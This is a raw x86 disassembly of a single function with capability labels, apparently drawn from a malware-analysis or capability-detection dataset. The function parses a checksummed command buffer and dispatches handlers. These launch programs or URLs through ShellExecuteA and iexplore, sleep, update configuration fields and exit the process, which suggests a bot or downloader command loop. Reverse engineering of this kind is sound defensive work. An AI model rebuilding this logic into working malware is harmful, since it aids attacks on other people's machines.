Function at 0x40141c
Capabilities:
Create process on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x86c
and dword [ebp - 0x50], 0
push ebx
push esi
mov esi, dword [ebp + 8]
test esi, esi
push edi
je 0x401981
mov edi, dword [ebp + 0xc]
cmp edi, 5
jb 0x401981
call fcn.00401c1f
lea ebx, [esi + edi]
add edi, 0xfffffffc
push edi
push esi
mov dword [ebp - 0x6c], ebx
call fcn.00401bec
cmp dword [ebx - 4], eax
pop ecx
pop ecx
jne 0x401981
movzx eax, byte [esi]
and dword [ebp - 0x44], 0
inc esi
test eax, eax
mov dword [ebp - 0x64], eax
jle 0x40193a
mov edi, dword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x401481
mov ebx, dword [ebp - 0x6c]
cmp esi, ebx
jae 0x40193a
mov bl, byte [esi]
inc esi
movzx eax, bl
cmp eax, 0x17
ja case.0x401498.4
jmp dword [eax*4 + 0x401988]
lea eax, [ebp + 8]
push eax
lea eax, [ebp - 0x34]
push eax
push esi
call fcn.00401346
add esi, eax
mov eax, dword [ebp - 0x34]
xor ecx, ecx
add esp, 0xc
cmp eax, ecx
je 0x401954
mov edx, dword [ebp + 8]
push 5
push ecx
push ecx
and byte [eax + edx], cl
push dword [ebp - 0x34]
neg bl
sbb ebx, ebx
and ebx, str.iexplore
push ebx
push ecx
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push dword [ebp - 0x34]
jmp 0x40185f
cmp dword [ebp + 0x10], 1
je 0x401954
lea eax, [ebp + 8]
push eax
lea eax, [ebp - 0x40]
push eax
push esi
call fcn.004013b2
add esp, 0xc
add esi, eax
cmp dword [ebp - 0x40], 0
je 0x401954
cmp dword [ebp + 8], 0
jl 0x401954
cmp dword [ebp + 8], 0x400000
jg 0x401954
push dword [ebp + 8]
push dword [ebp - 0x40]
push section..data
call fcn.004012bc
add esp, 0xc
test eax, eax
je 0x401544
cmp bl, 2
je 0x401959
push dword [ebp - 0x40]
jmp 0x40185f
lea eax, [ebp - 0xc]
push eax
push esi
call fcn.0040139a
add esi, eax
lea eax, [ebp - 0x38]
push eax
push esi
call fcn.0040139a
add esi, eax
lea eax, [ebp + 8]
push eax
lea eax, [ebp + 0xc]
push eax
push esi
call fcn.004013b2
add esi, eax
lea eax, [ebp + 8]
push eax
lea eax, [ebp - 4]
push eax
push esi
call fcn.004013b2
add esi, eax
lea eax, [ebp + 8]
push eax
lea eax, [ebp - 0x14]
push eax
push esi
call fcn.004013b2
add esi, eax
lea eax, [ebp - 0x48]
push eax
push esi
call fcn.0040139a
add esi, eax
lea eax, [ebp - 0x28]
push eax
push esi
call fcn.0040139a
add esp, 0x44
add esi, eax
lea eax, [ebp + 8]
push eax
lea eax, [ebp - 8]
push eax
push esi
call fcn.004013b2
add esi, eax
lea eax, [ebp - 0x68]
push eax
push esi
call fcn.0040139a
mov ecx, dword [ebp - 0x48]
xor edx, edx
add esp, 0x14
add esi, eax
cmp ecx, edx
jl 0x401961
cmp ecx, 0x4e20
jg 0x401961
cmp dword [ebp - 0x28], edx
jl 0x401961
cmp dword [ebp - 0x28], 1
jg 0x401961
cmp dword [ebp - 0xc], edx
jl 0x401954
cmp dword [ebp - 0xc], 0x400000
jg 0x401954
cmp dword [ebp + 0xc], edx
je 0x401954
cmp dword [ebp - 4], edx
je 0x401954
cmp dword [ebp - 0x38], edx
jle 0x401954
cmp dword [ebp - 8], edx
je 0x401954
mov eax, dword [ebp - 0x14]
cmp eax, edx
jne 0x401640
mov eax, 0x406f08
push dword [ebp - 8]
mov ebx, 0x407728
push ecx
push dword [ebp - 0xc]
push dword [ebp - 0x38]
push dword [ebp + 0xc]
push dword [ebp - 4]
push eax
push ebx
lea eax, [ebp - 0x46c]
push str._s__s__s__s__d__d__d__s
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
push dword [ebp - 0x68]
push dword [ebp - 8]
push dword [ebp - 0x28]
push dword [ebp - 0x48]
push dword [ebp - 0xc]
push dword [ebp - 0x38]
push dword [ebp + 0xc]
push dword [ebp - 4]
push dword [ebp - 0x14]
push ebx
call fcn.004021a1
add esp, 0x50
cmp eax, 1
jne 0x401954
xor ebx, ebx
cmp dword [ebp + 0xc], ebx
je 0x4016a9
push dword [ebp + 0xc]
push ebx
push dword [0x407720]
call edi
cmp dword [ebp - 4], ebx
je 0x4016ba
push dword [ebp - 4]
push ebx
push dword [0x407720]
call edi
cmp dword [ebp - 0x14], ebx
je 0x4016cb
push dword [ebp - 0x14]
push ebx
push dword [0x407720]
call edi
cmp dword [ebp - 8], ebx
je case.0x401498.4
push dword [ebp - 8]
jmp 0x401922
movzx eax, byte [esi]
mov dword [0x4068f8], eax
jmp 0x4018c0
movzx eax, byte [esi]
imul eax, eax, 0xea60
push eax
inc esi
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp case.0x401498.4
lea eax, [ebp + 8]
push eax
lea eax, [ebp - 0x24]
push eax
push esi
call fcn.004013b2
add esi, eax
lea eax, [ebp + 8]
push eax
lea eax, [ebp - 0x2c]
push eax
push esi
call fcn.004013b2
add esi, eax
lea eax, [ebp - 0x20]
push eax
push esi
call fcn.0040139a
add esi, eax
lea eax, [ebp - 0x30]
push eax
push esi
call fcn.0040139a
add esi, eax
lea eax, [ebp - 0x1c]
push eax
push esi
call fcn.0040139a
xor ebx, ebx
add esp, 0x30
add esi, eax
cmp dword [ebp - 0x20], ebx
jl 0x401954
cmp dword [ebp - 0x20], 1
jg 0x401954
cmp dword [ebp - 0x1c], ebx
jl 0x401954
cmp dword [ebp - 0x30], ebx
jl 0x401954
cmp dword [ebp - 0x30], 5
jg 0x401954
push ebx
push dword [ebp - 0x1c]
push dword [ebp - 0x2c]
push dword [ebp - 0x30]
push dword [ebp - 0x20]
push dword [ebp - 0x24]
call fcn.004019e8
add esp, 0x18
cmp dword [ebp - 0x24], ebx
je 0x4017a0
push dword [ebp - 0x24]
push ebx
push dword [0x407720]
call edi
cmp dword [ebp - 0x2c], ebx
je case.0x401498.4
push dword [ebp - 0x2c]
jmp 0x40185f
lea eax, [ebp - 0x60]
push eax
push esi
call fcn.0040139a
pop ecx
add esi, eax
cmp dword [ebp - 0x1c], 0
pop ecx
jl 0x401954
push dword [ebp - 0x60]
call fcn.00401a6a
jmp 0x4018e9
lea eax, [ebp - 0x54]
push eax
push esi
call fcn.0040139a
add esi, eax
mov eax, dword [0x40771c]
pop ecx
test eax, eax
pop ecx
je case.0x401498.4
mov ecx, dword [ebp - 0x54]
mov dword [eax], ecx
jmp case.0x401498.4
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x18]
push eax
push esi
call fcn.004013b2
xor ebx, ebx
add esp, 0xc
add esi, eax
cmp dword [ebp - 0x18], ebx
je 0x401954
cmp dword [ebp - 0x10], ebx
jl 0x401954
cmp dword [ebp - 0x10], 0x10
jg 0x401954
mov eax, dword [0x40771c]
cmp eax, ebx
je 0x401853
push dword [ebp - 0x10]
add eax, 8
push dword [ebp - 0x18]
push eax
call sub.MSVCRT.dll_memcpy
mov ecx, dword [0x40771c]
mov eax, dword [ebp - 0x10]
add esp, 0xc
mov dword [ecx + 0x18], eax
cmp dword [ebp - 0x18], ebx
je case.0x401498.4
push dword [ebp - 0x18]
push 0
jmp 0x401923
lea eax, [ebp - 0x58]
push eax
push esi
call fcn.0040139a
add esi, eax
mov eax, dword [ebp - 0x58]
pop ecx
test eax, eax
pop ecx
jl 0x401954
cmp eax, 2
jg 0x401954
mov ecx, dword [0x40771c]
test ecx, ecx
je case.0x401498.4
mov dword [ecx + 0x64], eax
jmp case.0x401498.4
lea eax, [ebp - 0x5c]
push eax
push esi
call fcn.0040139a
pop ecx
add esi, eax
cmp dword [ebp - 0x5c], 0
pop ecx
jl 0x401954
jmp case.0x401498.4
movzx eax, byte [esi]
mov dword [0x4068fc], eax
inc esi
jmp case.0x401498.4
mov eax, dword [0x40771c]
test eax, eax
je case.0x401498.4
mov dword [eax + 0x30], 1
jmp case.0x401498.4
mov dword [0x40777c], 1
push section..data
call fcn.004011bb
pop ecx
jmp case.0x401498.4
lea eax, [ebp - 0x4c]
push eax
lea eax, [ebp - 0x3c]
push eax
push esi
call fcn.004013b2
xor ebx, ebx
add esp, 0xc
add esi, eax
cmp dword [ebp - 0x3c], ebx
je 0x401954
cmp dword [ebp - 0x4c], 0x10
jg 0x401954
cmp dword [ebp - 0x4c], ebx
jl 0x401954
push dword [ebp - 0x3c]
push section..data
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push dword [ebp - 0x3c]
push ebx
push dword [0x407720]
call edi
inc dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
cmp eax, dword [ebp - 0x64]
jl 0x40147e
cmp dword [0x40771c], 0
mov dword [ebp - 0x50], 1
je 0x401954
call fcn.00403553
call fcn.0040333f
mov eax, dword [ebp - 0x50]
jmp 0x401983
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push ecx
lea eax, [ebp - 0x86c]
push str._d_sleep_time_DL_sanity_1
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
jmp 0x401954
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret